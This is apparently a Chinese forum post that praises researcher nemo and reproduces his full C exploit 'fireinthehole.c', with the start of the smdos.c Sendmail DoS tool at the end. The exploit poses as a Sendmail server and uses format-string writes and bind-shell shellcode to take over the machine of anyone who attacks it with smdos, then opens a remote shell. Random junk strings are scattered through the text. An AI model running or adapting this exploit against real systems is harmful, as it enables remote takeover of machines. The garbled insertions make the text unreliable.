nemo
看不到他的脸,不过看他的网站就知道他很有趣,,MU%gJ@-V+Y[url=http://felinemenace.org/~nemo/]http://felinemenace.org/~nemo/[/url]
看上面的asc nemo很有趣吧。。cute!nCL&F7{mukJ*T
下面这个exploit很淫荡啊,好像是别人的exploit有漏洞,他放在邮件服务器上狙击的,Bua8@sgt
hahaha...caW+_:O
/* * fireinthehole.c * * Counterstrike exploit for smdos (sendmail exploit) * written by nemo (Neil Archibald) 2004 * * Thanks to andrewg and mercy for helping me out with this. * * [ Need a challenge ? ] * [ Visit [url]http://www.pulltheplug.com[/url] ] */#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h>#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/wait.h> #include <signal.h> #define SMTPPORT 25#define BANNER "220 evil.whitehat.com ESMTP Sendmail 8.9.3\n"#define BACKLOG 50#define MAXFMT 1024#define BSIZE 1048576 + 1 // From smdos.c ;)#define BINDPORT 65535 #define GOT 0x0804a104 // GOT to overwrite. (objdump -R smdos)#define EBPB 0xbffff914 // Address of ebp, can be seen using dpa or gdb.#define SCODEAD 0x0804a1a0 // Address of shellcode on the .bss#define DPA1 5#define DPA2 33#define DPA3 68#define counter(x) ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a)int sin_size,evil_fd,currdpa = 0;struct sockaddr_in my_addr,haX0r_addr; // Address of the attacker.char shellcode[] = /* shellcode by Ilja van Sprundel ([email]ilja@netric.org[/email]) */"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x43\xff""\x49\x02\x6a\x10\x51\x50\x89\xe1\x5e\xb0\x66\xcd\x80\x89\x41\x04\xb0""\x66\x43\x43\xcd\x80\x43\xb0\x66\xcd\x80\x87\xd9\x89\xc3\xb0\x3f\xcd""\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; void say(char *what,int sockfd,int b_read){ char buffer[BSIZE]; bzero(buffer,BSIZE); usleep(1000); if (b_read && read(sockfd,buffer,BSIZE - 1) == -1) { perror("read()"); exit(errno); } if (write(sockfd,what,strlen(what)) == -1) { perror("write()"); exit(errno); }}int sendfstring(int sockfd){ int a , b = 0; char buffer; char fmt[MAXFMT]; printf("[+] Sending format strings.\n"); sprintf(fmt,"%%.%du%%%d$hn",counter(GOT & 0xffff),DPA2); sprintf(fmt,"%s%%.%du%%%d$hn\n",fmt,counter((EBPB + 2) & 0xffff),DPA1); say(fmt,sockfd,1); b=0; sprintf(fmt,"%%.%du%%%d$hn\n",counter(GOT >> 0x10),DPA2); say(fmt,sockfd,1); b=0; sprintf(fmt,"%%.%du%%%d$hn",counter(SCODEAD & 0xffff),DPA3); sprintf(fmt,"%s%%.%du%%%d$hn\n",fmt,counter(EBPB & 0xffff),DPA1); say(fmt,sockfd,1); b=0; sprintf(fmt,"%%.%du%%%d$hn\n",counter((GOT + 2) & 0xffff),DPA2); say(fmt,sockfd,1); b=0; while(read(sockfd,&buffer, 1) && a++ < BSIZE); sprintf(fmt,"%%.%du%%%d$hn\n",counter(SCODEAD >> 0x10),DPA3); say(fmt,sockfd,1); return 0;}int waitonsmtp(){ int sockfd; int yes=1; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(errno); } if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) { perror("setsockopt()"); exit(errno); } my_addr.sin_family = AF_INET; my_addr.sin_port = htons(SMTPPORT); my_addr.sin_addr.s_addr = INADDR_ANY; memset(&(my_addr.sin_zero), '\0', 8); if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror("bind()"); exit(errno); } if (listen(sockfd, BACKLOG) == -1) { perror("listen()"); exit(errno); } return sockfd;}void shell(int sock){ fd_set fd_read; char buff[1024]; int n; while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { n=read(sock,buff,sizeof(buff)); if (n == 0) { printf ("Connection closed.\n"); exit(EXIT_FAILURE); } else if (n < 0) { perror("read remote"); exit(EXIT_FAILURE); } write(1,buff,n); } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<=0){ perror ("read user"); exit(EXIT_FAILURE); } write(sock,buff,n); } } close(sock);} int conn(char *ip, int p){ struct sockaddr_in connaddr; int sockfd; connaddr.sin_family = AF_INET; connaddr.sin_port = htons(p); connaddr.sin_addr.s_addr = inet_addr(ip); bzero(&(connaddr.sin_zero),8); sockfd=socket(AF_INET,SOCK_STREAM,0); if((connect(sockfd,(struct sockaddr*)&connaddr,sizeof(struct sockaddr))) < 0 ) { return 0; } return sockfd;}int main(int ac, char **av){ int sockfd,shellfd; printf("-( fireinthehole - [ Counterstrike code for smdos ] )-\n"); printf(" -] nemo 2004 [-\n"); sockfd = waitonsmtp(); printf("[+] Waiting for attack.....\n"); sin_size = sizeof(struct sockaddr_in); if ((evil_fd = accept(sockfd, (struct sockaddr *)&haX0r_addr,&sin_size)) == -1) { perror("accept"); } printf("[+] Incoming attack from evil hacker: %s.\n",inet_ntoa(haX0r_addr.sin_addr)); sleep(3); printf("[+] Impersonating Sendmail. ;)\n"); if (write(evil_fd,BANNER,strlen(BANNER)) == -1) perror("write()"); if(sendfstring(evil_fd)) // Send format string sequence to attacker. perror("send()"); printf("[+] Sending payload\n"); if (send(evil_fd, shellcode, strlen(shellcode), 0) == -1) perror("send"); sleep(5); close(evil_fd); printf("[+] Checking for shell\n"); if((shellfd=conn(inet_ntoa(haX0r_addr.sin_addr),BINDPORT))) { printf("[+] Got sh3ll! ;)\n\n"); shell(shellfd); } else { printf("[+] Exploit unsuccesful! :(\n"); } return 0;} [url=http://felinemenace.org/~nemo/exploits/fireinthehole.c]http://felinemenace.org/~nemo/exploits/fireinthehole.c[/url] smdos.c:(X^ y'FZ/jE
--- CUT HERE ---
/*L&\u_WcB
By Michal Szymanski <[email=siwa9@box43.gnet.pl]siwa9@box43.gnet.pl[/email]>3La#A"A*XED9@*R
Sendmail DoS (up to 8.9.3);x+e3ZR5Cv.T7B
Sat Apr 3 00:12:31 CEST 1999
*/
#include <stdio.h>
